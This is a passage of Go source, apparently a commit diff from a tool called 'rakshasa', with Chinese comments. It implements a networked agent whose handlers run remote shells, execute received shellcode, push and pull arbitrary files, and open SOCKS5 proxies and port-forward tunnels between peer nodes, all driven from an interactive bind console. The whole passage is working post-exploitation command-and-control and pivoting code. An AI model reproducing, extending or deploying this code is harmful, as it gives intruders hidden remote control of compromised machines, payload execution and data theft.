n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
}
case common.CMD_REMOTE_REG_RESULT:
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
v, ok := n.loadQuery(msg.CmdId)
if !ok {
return
}
if err != nil {
v <- err
return
}
if regmsg.Err != "" {
v <- errors.New(regmsg.Err)
return
}
l := clientLock.Lock()
n.uuid = regmsg.UUID
n.addr = regmsg.Addr
n.hostName = regmsg.Hostname
n.goos = regmsg.Goos
n.mainIp = regmsg.MainIp
n.port = regmsg.Port
if v, ok := nodeMap[regmsg.UUID]; !ok {
n.conn.node = n
} else {
if v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
n.conn.close <- "" //当前的连接关掉
n.conn = v.conn
v.mainIp = regmsg.MainIp
v.port = regmsg.Port
} else {
n.conn.node = n
}
}
nodeMap[n.uuid] = n
l.Unlock()
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
n.writeGetNodeResult(msg.CmdId)
n.broadcastNode()
case common.CMD_PING:
n.Write(common.CMD_PONG, msg.CmdId, msg.CmdData)
case common.CMD_NONE:
case common.CMD_PONG:
pingTime := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
if pingTime != n.pingTime {
return
}
n.pongTime = time.Now().Unix()
if v, ok := n.loadQuery(msg.CmdId); ok {
select {
case v <- struct{}{}:
default:
}
}
case common.CMD_CONN_UDP_MSG:
_, ok := n.connMap.Load(msg.CmdId)
if ok {
var conn common.Conn
id := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
if v2, ok := n.connMap.Load(id); ok {
conn = v2.(common.Conn)
} else {
var ip string
switch msg.CmdData[4] {
case 1:
ip = fmt.Sprintf("%d.%d.%d.%d:%d", msg.CmdData[5], msg.CmdData[6], msg.CmdData[7], msg.CmdData[8], int(msg.CmdData[9])<<8|int(msg.CmdData[10]))
case 3:
case 4:
}
udpconn := &serverConnect{}
udpconn.conn, err = net.Dial("udp", ip)
if err != nil {
return
}
udpconn.node = n
udpconn.id = id
udpconn.write = make(chan *bytes.Buffer, 64)
udpconn.close = 0
udpconn.windowsSize = 0
udpconn.wait = make(chan int)
n.connMap.Store(udpconn.id, udpconn)
go udpconn.handUdpReceive()
conn = udpconn
}
switch msg.CmdData[4] {
case 1:
conn.Write(append([]byte{common.CMD_CONN_UDP_MSG}, msg.CmdData[11:]...))
}
}
case common.CMD_LISTEN:
//fmt.Println("listen", string(data[common.Headlen+4:]))
_l, err := net.Listen("tcp", string(msg.CmdData))
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
return
} else {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1})
}
l := &serverListen{listen: _l, node: n, id: msg.CmdId}
n.listenMap.Store(msg.CmdId, l)
go l.Lisen()
case common.CMD_REMOTE_SOCKS5:
cfg, err := common.ParseAddr(string(msg.CmdData))
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
return
}
l := &serverListen{node: n, id: msg.CmdId}
l.listen, err = StartSocks5WithServer(cfg, n, l.id)
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
return
} else {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1})
}
n.listenMap.Store(l.id, l)
case common.CMD_LISTEN_RESULT:
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
if c, ok := v.(*clientListen); ok {
if msg.CmdData[0] == 0 {
select {
case c.result <- errors.New(string(msg.CmdData[1:])):
default:
}
} else {
select {
case c.result <- nil:
default:
}
}
}
}
case common.CMD_DELETE_LISTEN:
if v, ok := n.listenMap.Load(msg.CmdId); ok {
switch s := v.(type) {
case *serverListen:
s.Close(remoteClose)
case *clientListen:
s.Close(remoteClose)
}
}
n.listenMap.Delete(msg.CmdId)
case common.CMD_DELETE_LISTENCONN_BYID:
deleteId := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
if v, ok := n.listenMap.Load(msg.CmdId); ok {
if s, ok := v.(*serverListen); ok {
conn, ok := s.connMap.Load(deleteId)
if ok {
conn.(*serverConnect).Close(remoteClose)
s.connMap.Delete(deleteId)
}
}
}
case common.CMD_PWD:
pwd, _ := os.Getwd()
n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd))
case common.CMD_PWD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
select {
case v <- string(msg.CmdData):
default:
}
}
case common.CMD_GET_NODE:
n.writeGetNodeResult(msg.CmdId)
case common.CMD_GET_NODE_RESULT:
l := clientLock.Lock()
defer l.Unlock()
var s []nodeMsg
err = json.Unmarshal(msg.CmdData, &s)
if err == nil {
for _, _n := range s {
if _n.UUID != currentNode.uuid {
if v, ok := nodeMap[_n.UUID]; !ok {
nodeMap[_n.UUID] = newNode(_n, n)
} else {
v.hostName = _n.HostName
v.mainIp = _n.MainIp
v.port = _n.Port
if _n.Addr != "" {
v.addr = _n.Addr
}
}
}
}
}
v, ok := n.loadQuery(msg.CmdId)
if ok {
//通知已更新列表
select {
case v <- err:
default:
}
}
case common.CMD_GET_CURRENT_NODE:
nmsg := nodeMsg{
UUID: currentNode.uuid,
HostName: currentNode.hostName,
Addr: currentNode.addr,
MainIp: currentNode.mainIp,
Port: currentNode.port,
Goos: currentNode.goos,
}
b, _ := json.Marshal(nmsg)
n.Write(common.CMD_GET_CURRENT_NODE_RESULT, msg.CmdId, b)
case common.CMD_ADD_NODE:
var nmsg nodeMsg
err = json.Unmarshal(msg.CmdData, &nmsg)
if err != nil {
return
}
l := clientLock.Lock()
defer l.Unlock()
if v, ok := nodeMap[nmsg.UUID]; !ok {
_n := newNode(nmsg, n)
nodeMap[nmsg.UUID] = _n
} else if nmsg.UUID != currentNode.uuid {
v.port = nmsg.Port
v.mainIp = nmsg.MainIp
v.hostName = nmsg.HostName
v.goos = nmsg.Goos
if nmsg.Addr != "" {
v.addr = nmsg.Addr
}
}
case common.CMD_DIR:
dirPth := string(msg.CmdData)
dir, err := ioutil.ReadDir(dirPth)
if err != nil {
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte("读取目录 "+dirPth+" 失败"))
return
}
var s []string
var maxlen int
var hasdir string
for _, fi := range dir {
if len(fi.Name()) > maxlen {
maxlen = len(fi.Name())
}
if fi.IsDir() {
hasdir = " "
}
}
for _, fi := range dir {
var p string
name := bytes.Repeat([]byte(" "), maxlen)
copy(name, fi.Name())
if fi.IsDir() { // 忽略目录
p = "<DIR> " + string(name)
} else {
p = hasdir + string(name) + " size:" + strconv.FormatInt(fi.Size(), 10)
}
s = append(s, p)
}
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte(strings.Join(s, "\n")))
case common.CMD_DIR_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
select {
case v <- string(msg.CmdData):
default:
}
}
case common.CMD_CD:
dirPth := string(msg.CmdData)
s, err := os.Stat(dirPth)
if err != nil {
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
return
}
if s.IsDir() {
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{1}, dirPth...))
} else {
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, "该路径不是文件夹"...))
}
case common.CMD_CD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
if msg.CmdData[0] == 0 {
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
} else {
select {
case v <- string(msg.CmdData[1:]):
default:
}
}
}
case common.CMD_CONNECT_BYID:
var l *clientListen
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
l, _ = v.(*clientListen)
}
if l == nil {
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, nil)
return
}
//l := clientLock.Lock()
//b := clientListenMap[id]
//l.Unlock()
conn, err := net.Dial("tcp", l.localAddr)
if err != nil {
n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, msg.CmdData)
return
}
client := &clientConnect{}
client.id = uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
client.server = l.server
client.listenId = msg.CmdId
client.conn = conn
client.OnOpened()
l.connMap.Store(client.id, client)
l.server.connMap.Store(client.id, client)
go rawHandleLocal(client)
case common.CMD_PING_LISTEN:
if _, ok := n.listenMap.Load(msg.CmdId); !ok {
//通知客户端服务器listen不存在
n.Write(common.CMD_PING_LISTEN_RESULT, msg.CmdId, []byte{0})
}
case common.CMD_PING_LISTEN_RESULT:
if value, ok := n.listenMap.Load(msg.CmdId); ok {
switch v := value.(type) {
case *clientListen:
n.Write(v.openOption, v.id, v.openMsg)
go func() {
select {
case res := <-v.result:
if err, ok := res.(error); ok {
v.Close(err.Error())
}
case <-time.After(common.CMD_TIMEOUT):
v.Close("listen time out")
}
}()
case *serverListen:
v.Close(remoteClose)
}
}
case common.CMD_UPLOAD:
i := bytes.IndexByte(msg.CmdData, 0)
if i == -1 {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "协议错误"...))
return
}
file := string(msg.CmdData[:i])
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
var f *os.File
if offset == 0 {
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666)
} else {
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY, 0666)
}
if err != nil {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
return
}
defer f.Close()
f.Seek(offset, 0)
num, err := f.Write(msg.CmdData[i+9:])
if err != nil {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
return
}
if num != len(msg.CmdData[i+9:]) {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 需要写入"+strconv.Itoa(len(msg.CmdData[i+8:]))+" 实际写入"+strconv.Itoa(num)...))
return
}
s, err := os.Stat(file)
if err == nil {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, []byte{1, byte(s.Size()), byte(s.Size() >> 8), byte(s.Size() >> 16), byte(s.Size() >> 24), byte(s.Size() >> 32), byte(s.Size() >> 40), byte(s.Size() >> 48), byte(s.Size() >> 56)})
}
case common.CMD_UPLOAD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
if msg.CmdData[0] == 0 {
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
} else {
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
select {
case v <- size:
default:
}
}
}
case common.CMD_DOWNLOAD:
i := bytes.IndexByte(msg.CmdData, 0)
file := string(msg.CmdData[:i])
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
var size int64
if offset == -1 {
s, err := os.Stat(file)
if err != nil {
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
return
}
if s.IsDir() {
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, file+"是一个目录 不可下载"...))
return
}
size = s.Size()
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, []byte{1, byte(size), byte(size >> 8), byte(size >> 16), byte(size >> 24), byte(size >> 32), byte(size >> 40), byte(size >> 48), byte(size >> 56)})
}
f, err := os.Open(file)
if err != nil {
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
return
}
defer f.Close()
f.Seek(offset, 0)
for i := 0; i < 10; i++ {
buf := make([]byte, common.MAX_PACKAGE-1)
num, err := f.Read(buf)
if err != nil {
if err == io.EOF {
return
}
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
return
}
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{2}, buf[:num]...))
}
case common.CMD_DOWNLOAD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
switch msg.CmdData[0] {
case 0:
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
case 1:
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
select {
case v <- size:
default:
}
case 2:
select {
case v <- msg.CmdData[1:]:
default:
}
}
}
case common.CMD_SHELL:
var param StartCmdParam
if err = json.Unmarshal(msg.CmdData, &param); err != nil {
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
}
if err := startCMD(n, msg.CmdId, param); err != nil {
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
}
case common.CMD_SHELL_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
if msg.CmdData[0] == 0 {
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
} else {
select {
case v <- msg.CmdData[1:]:
default:
}
}
}
case common.CMD_SHELL_DATA:
if v, ok := n.shellMap.Load(msg.CmdId); ok {
cmd := v.(*remoteCmd)
select {
case cmd.inChan <- msg.CmdData:
default:
}
}
case common.CMD_RUN_SHELLCODE:
go func() {
var s ShellCodeStruct
err = json.Unmarshal(msg.CmdData, &s)
if err != nil {
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
}
err = doShellcode(s)
if err != nil {
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
} else {
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, nil)
}
}()
case common.CMD_RUN_SHELLCODE_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
var err error
if len(msg.CmdData) > 0 {
err = errors.New(string(msg.CmdData))
}
select {
case v <- err:
default:
}
}
default:
if common.Debug {
fmt.Println(msg.CmdOpteion, "协议错误")
}
n.conn.Close("协议错误")
}
}
func (n *node) remoteReg(addr string) (newN *node, err error) {
regmsg := common.RegMsg{
Addr: currentNode.addr,
RegAddr: addr,
UUID: currentNode.uuid,
MainIp: currentNode.mainIp,
Port: currentNode.port,
Goos: currentNode.goos,
}
regmsg.Hostname, _ = os.Hostname()
b, _ := json.Marshal(regmsg)
resChan := make(chan interface{}, 1)
id := n.storeQuery(resChan)
n.Write(common.CMD_REMOTE_REG, id, b)
select {
case i := <-resChan:
n.deleteQuery(id)
if v, ok := i.(error); ok {
return nil, v
}
if v, ok := i.(*node); ok {
return v, nil
}
case <-time.After(common.CMD_TIMEOUT):
n.deleteQuery(id)
return nil, errors.New("time out")
}
return nil, errors.New("error result")
}
func (n *node) Close(reason string) {
if n.conn != nil && n.conn.node.uuid == n.uuid {
n.conn.close <- reason
}
n.Delete(reason)
}
func newNode(m nodeMsg, n *node) *node {
_n := &node{
uuid: m.UUID,
hostName: m.HostName,
addr: m.Addr,
conn: n.conn,
pongTime: time.Now().Unix(),
mainIp: m.MainIp,
port: m.Port,
goos: m.Goos,
}
return _n
}
func allNodesDo(f func(*node) (bool, error)) (err error) {
var ok bool
l := clientLock.RLock()
defer l.RUnlock()
for _, n := range nodeMap {
if n.uuid != currentNode.uuid {
func() {
l.RUnlock()
defer clientLock.RLock(l)
ok, err = f(n)
}()
if err != nil {
return err
}
if !ok {
break
}
}
}
return nil
}
func (n *node) ping(id uint32) {
l := clientLock.Lock()
defer func() {
l.Unlock()
}()
now := time.Now()
if n.pingTime > n.pongTime {
if common.Debug {
fmt.Println(time.Now().Format("2006-01-02 15:04:05"), n.uuid, "超时")
}
if n.conn != nil && n.conn.node.uuid == n.uuid {
n.conn.Close("超时关闭")
}
n.Delete("超时关闭")
//尝试重连
go func() {
if !currentConfig.Limit && len(n.mainIp) > 0 {
for _, addr := range n.mainIp {
_n, _ := connectNew(fmt.Sprintf("%s:%d", addr, n.port))
if _n != nil {
return
}
}
}
}()
return
}
n.pingTime = now.Unix()
if n.pongTime == 0 {
n.pongTime = n.pingTime
}
pingdata := make([]byte, 8)
pingdata[0] = byte(n.pingTime & 255)
pingdata[1] = byte(n.pingTime >> 8 & 255)
pingdata[2] = byte(n.pingTime >> 16 & 255)
pingdata[3] = byte(n.pingTime >> 24 & 255)
pingdata[4] = byte(n.pingTime >> 32 & 255)
pingdata[5] = byte(n.pingTime >> 40 & 255)
pingdata[6] = byte(n.pingTime >> 48 & 255)
pingdata[7] = byte(n.pingTime >> 56 & 255)
msg := &common.Msg{
From: currentNode.uuid,
To: n.uuid,
CmdOpteion: common.CMD_PING,
CmdId: id,
CmdData: pingdata,
}
n.WriteMsg(msg)
n.listenMap.Range(func(key, value interface{}) bool {
switch v := value.(type) {
case *serverListen:
msg.CmdOpteion = common.CMD_PING_LISTEN
msg.CmdData = nil
n.WriteMsg(msg)
case *clientListen:
msg.CmdOpteion = common.CMD_PING_LISTEN
msg.CmdData = nil
v.server.WriteMsg(msg)
}
return true
})
}
func (n *node) Delete(reason string) {
go func() {
l := clientLock.Lock()
_, ok := nodeMap[n.uuid]
if ok {
delete(nodeMap, n.uuid)
}
l.Unlock()
n.connMap.Range(func(key, value interface{}) bool {
if v, ok := value.(common.Conn); ok {
v.Close(reason)
}
n.connMap.Delete(key)
return true
})
n.udpConnMap.Range(func(key, value interface{}) bool {
if v, ok := value.(common.Conn); ok {
v.Close(reason)
}
n.udpConnMap.Delete(key)
return true
})
n.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*serverListen); ok {
v.listen.Close()
}
n.listenMap.Delete(key)
return true
})
n.shellMap.Range(func(key, value interface{}) bool {
v := value.(*remoteCmd)
if v.cmd != nil {
v.cmd.Process.Kill()
}
n.shellMap.Delete(key)
return true
})
}()
}
func (n *node) broadcastNode() {
//广播新增节点
nmsg := nodeMsg{
UUID: n.uuid,
HostName: n.hostName,
Addr: n.addr,
MainIp: n.mainIp,
Port: n.port,
Goos: n.goos,
}
b, _ := json.Marshal(nmsg)
writemsg := &common.Msg{
From: currentNode.uuid,
To: common.BroadcastUUID.String(),
CmdData: append([]byte{common.CMD_ADD_NODE, 0, 0}, b...),
}
go allNodesDo(func(_n *node) (bool, error) {
if _n.uuid != currentNode.uuid {
_n.WriteMsg(writemsg)
}
return true, nil
})
}
func GetNodeFromAddrs(dst []string) (n *node, err error) {
if len(dst) == 0 {
return nil, errors.New("参数错误,目标节点为空")
}
if n, err = getNode(dst[0]); err != nil {
return
}
for i := 1; i < len(dst); i++ {
n, err = n.remoteReg(dst[i])
if err != nil {
return
}
}
if n == nil {
return nil, fmt.Errorf("无法连接 %v", dst)
}
if n.uuid == currentNode.uuid {
return nil, errors.New("不能连接自己")
}
return
}
// 储存并返回id
func (n *node) storeQuery(v chan interface{}) (newID uint32) {
for {
newID = common.GetConnID()
if newID == 0 {
continue
}
if _, ok := n.queryMap.LoadOrStore(newID, v); !ok {
return
}
}
}
func (n *node) loadQuery(id uint32) (v chan interface{}, ok bool) {
value, ok := n.queryMap.Load(id)
if ok {
v = value.(chan interface{})
}
return v, ok
}
func (n *node) deleteQuery(id uint32) {
n.queryMap.Delete(id)
}
func (n *node) storeConn(v common.Conn) (newID uint32) {
for {
newID = common.GetConnID()
if newID == 0 {
continue
}
if _, ok := n.connMap.LoadOrStore(newID, v); !ok {
return
}
}
}
func (n *node) writeGetNodeResult(id uint32) {
l := clientLock.RLock()
defer l.RUnlock()
var s []nodeMsg
for _, _n := range nodeMap {
if _n.uuid != currentNode.uuid {
s = append(s, nodeMsg{
UUID: _n.uuid,
HostName: _n.hostName,
Addr: _n.addr,
MainIp: _n.mainIp,
Port: _n.port,
Goos: _n.goos,
})
}
}
b, _ := json.Marshal(s)
n.Write(common.CMD_GET_NODE_RESULT, id, b)
}
+228
View File
@@ -0,0 +1,228 @@
package server
import "strings"
func orderNode(list []*node) {
f := func(a, b *node) bool {
if strings.Contains(a.addr, "(localhost)") {
return true
} else if strings.Contains(b.addr, "(localhost)") {
return false
}
return a.uuid < b.uuid
}
max_len := len(list)
tmp := make([]*node, max_len)
for i := 0; i < max_len-max_len&1; i += 2 {
if f(list[i+1], list[i]) {
list[i], list[i+1] = list[i+1], list[i]
}
}
for i := 0; i < max_len-max_len&3; i += 4 {
if f(list[i+2], list[i]) {
list[i], list[i+2] = list[i+2], list[i]
}
if f(list[i+3], list[i+1]) {
list[i+1], list[i+3] = list[i+3], list[i+1]
}
if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
if max_len&3 == 3 {
i := max_len - 3
if f(list[i+2], list[i]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
list[i], list[i+1] = list[i+1], list[i]
} else if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
var step, l, max, r int
step = 4
for step < max_len {
step <<= 1
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(list[r], list[l])) {
tmp[index] = list[r]
r++
} else {
tmp[index] = list[l]
l++
}
}
}
if step < max_len {
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
list[index] = tmp[r]
r++
} else {
list[index] = tmp[l]
l++
}
}
}
} else {
copy(list, tmp)
}
}
}
func orderClientListen(list []*clientListen) {
f := func(a, b *clientListen) bool {
return a.id < b.id
}
max_len := len(list)
tmp := make([]*clientListen, max_len)
for i := 0; i < max_len-max_len&1; i += 2 {
if f(list[i+1], list[i]) {
list[i], list[i+1] = list[i+1], list[i]
}
}
for i := 0; i < max_len-max_len&3; i += 4 {
if f(list[i+2], list[i]) {
list[i], list[i+2] = list[i+2], list[i]
}
if f(list[i+3], list[i+1]) {
list[i+1], list[i+3] = list[i+3], list[i+1]
}
if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
if max_len&3 == 3 {
i := max_len - 3
if f(list[i+2], list[i]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
list[i], list[i+1] = list[i+1], list[i]
} else if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
var step, l, max, r int
step = 4
for step < max_len {
step <<= 1
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(list[r], list[l])) {
tmp[index] = list[r]
r++
} else {
tmp[index] = list[l]
l++
}
}
}
if step < max_len {
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
list[index] = tmp[r]
r++
} else {
list[index] = tmp[l]
l++
}
}
}
} else {
copy(list, tmp)
}
}
}
func orderHttpProxy(list []*httpProxyClient) {
f := func(a, b *httpProxyClient) bool {
return a.id < b.id
}
max_len := len(list)
tmp := make([]*httpProxyClient, max_len)
for i := 0; i < max_len-max_len&1; i += 2 {
if f(list[i+1], list[i]) {
list[i], list[i+1] = list[i+1], list[i]
}
}
for i := 0; i < max_len-max_len&3; i += 4 {
if f(list[i+2], list[i]) {
list[i], list[i+2] = list[i+2], list[i]
}
if f(list[i+3], list[i+1]) {
list[i+1], list[i+3] = list[i+3], list[i+1]
}
if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
if max_len&3 == 3 {
i := max_len - 3
if f(list[i+2], list[i]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
list[i], list[i+1] = list[i+1], list[i]
} else if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
var step, l, max, r int
step = 4
for step < max_len {
step <<= 1
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(list[r], list[l])) {
tmp[index] = list[r]
r++
} else {
tmp[index] = list[l]
l++
}
}
}
if step < max_len {
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
list[index] = tmp[r]
r++
} else {
list[index] = tmp[l]
l++
}
}
}
} else {
copy(list, tmp)
}
}
}
+325
View File
@@ -0,0 +1,325 @@
package server
import (
"errors"
"fmt"
"hash/crc32"
"net"
"rakshasa/common"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/luyu6056/ishell"
)
var (
// clientListenMap = make(map[uint32]*remoteListen)
// connectMap = make(map[uint32]*rawConnect)
)
type clientListen struct {
id uint32
localAddr string
remoteAddr string
server *node
typ string
openOption byte
openMsg []byte //掉线重连会用到
connMap sync.Map //clientListen关闭的时候关掉这里的id
listen net.Listener
result chan interface{}
}
func StartRawBind(str string, dst []string) error {
n, err := GetNodeFromAddrs(dst)
if err != nil {
return err
}
addrs, err := common.ResolveTCPAddr(str)
if err != nil {
return err
}
if len(addrs) != 2 {
return errors.New("参数错误,格式为ip:port,remote_ip:remote_port")
}
l := &clientListen{
id: common.GetID(),
localAddr: addrs[0],
remoteAddr: addrs[1],
server: n,
typ: "bind",
result: make(chan interface{}),
openOption: common.CMD_LISTEN,
}
l.openMsg = []byte(addrs[1])
currentNode.listenMap.Store(l.id, l)
n.Write(l.openOption, l.id, l.openMsg)
select {
case res := <-l.result:
if err, ok := res.(error); ok {
l.Close(remoteClose)
currentNode.listenMap.Delete(l.id)
return err
}
case <-time.After(common.CMD_TIMEOUT):
l.Close(remoteClose)
currentNode.listenMap.Delete(l.id)
return fmt.Errorf("listen %s fail time out", addrs[1])
}
fmt.Println("bind 启动成功")
//l := clientLock.Lock()
//clientListenMap[b.id] = b
//l.Unlock()
return nil
}
func StartRawConnect(str string, n *node) error {
addrs, err := common.ResolveTCPAddr(str)
if len(addrs) != 2 || err != nil {
return errors.New("-connect参数错误,格式为ip:port,remote_ip:remote_port")
}
addr1, _ := net.ResolveTCPAddr("tcp", addrs[1])
listen, err := net.Listen("tcp", addrs[0])
if err != nil {
return errors.New("监听本地端口" + addrs[0] + "失败 " + err.Error())
}
l := &clientListen{
id: common.GetID(),
localAddr: addrs[0],
remoteAddr: addrs[1],
listen: listen,
server: n,
typ: "connect",
}
currentNode.listenMap.Store(l.id, l)
go func() {
for {
conn, err := listen.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
s := &clientConnect{
conn: conn,
server: n,
}
s.OnOpened()
s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port))
go rawHandleLocal(s)
}
}()
return nil
}
func (l *clientListen) Close(reason string) {
l.connMap.Range(func(key, value interface{}) bool {
value.(*clientConnect).Close(reason)
l.connMap.Delete(key)
return true
})
l.server.listenMap.Delete(l.id)
if l.listen != nil {
l.listen.Close()
}
}
func rawHandleLocal(s *clientConnect) {
buf := make([]byte, common.MAX_PLAINTEXT)
for {
n, err := s.conn.Read(buf[8:])
if err != nil {
s.Close(err.Error())
return
}
var new_size int64
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
atomic.AddInt64(&s.windowsSize, new_size)
} else {
new_size = 0
}
buf[0] = byte(new_size)
buf[1] = byte(new_size >> 8)
buf[2] = byte(new_size >> 16)
buf[3] = byte(new_size >> 24)
buf[4] = byte(new_size >> 32)
buf[5] = byte(new_size >> 40)
buf[6] = byte(new_size >> 48)
buf[7] = byte(new_size >> 56)
if common.Debug {
fmt.Println("发送", crc32.ChecksumIEEE(buf[8:8+n]), n)
}
data := make([]byte, 8+n)
copy(data, buf)
s.server.Write(common.CMD_CONN_MSG, s.id, buf)
}
}
func init() {
bindshell := cliInit()
bindshell.SetPrompt("rakshasa\\bind>")
bindshell.AddCmd(&ishell.Cmd{
Name: "list",
Help: "列出当前连接的ID和其他信息",
Func: func(c *ishell.Context) {
var list []*clientListen
currentNode.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*clientListen); ok {
if v.typ == "bind" {
list = append(list, v)
}
}
return true
})
orderClientListen(list)
fmt.Println("当前连接数量:", len(list))
for _, v := range list {
